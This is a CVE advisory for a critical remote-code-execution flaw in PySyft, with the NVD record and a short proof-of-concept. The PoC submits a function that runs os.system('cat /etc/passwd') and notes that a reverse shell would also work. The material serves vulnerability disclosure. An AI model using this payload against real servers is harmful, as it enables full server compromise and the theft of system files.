CVE-2026-31220

import syft as sy # Decorator used to submit function to the remote server @sy.syft_function() def malicious_execution(): # Import os module to execute system commands import os # Execute arbitrary command (e.g., reverse shell or file read) # Example: reading /etc/passwd os.system('cat /etc/passwd') return "Code executed successfully"

{"cve": {"id": "CVE-2026-31220", "sourceIdentifier": "[email protected]", "published": "2026-05-12T16:16:13.913", "lastModified": "2026-05-15T19:16:57.183", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "PySyft (Syft Datasite/Server) versions 0.9.5 and earlier are vulnerable to remote code execution due to insufficient validation and sandboxing of user-submitted code. The system allows low-privileged users to submit Python functions (via @sy.syft_function()) for remote execution on the server. While a code approval mechanism exists, the submitted code undergoes no security checks for dangerous operations (e.g., file access, command execution). Once approved, the code is executed within the server process using exec() and eval() functions without proper isolation. A remote attacker can leverage this to execute arbitrary Python code on the server, leading to complete compromise of the server environment."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/OpenMined/PySyft", "source": "[email protected]"}, {"url": "https://www.notion.so/CVE-2026-31220-35d1e1393188814186b9e00114a8aba7", "source": "[email protected]"}]}}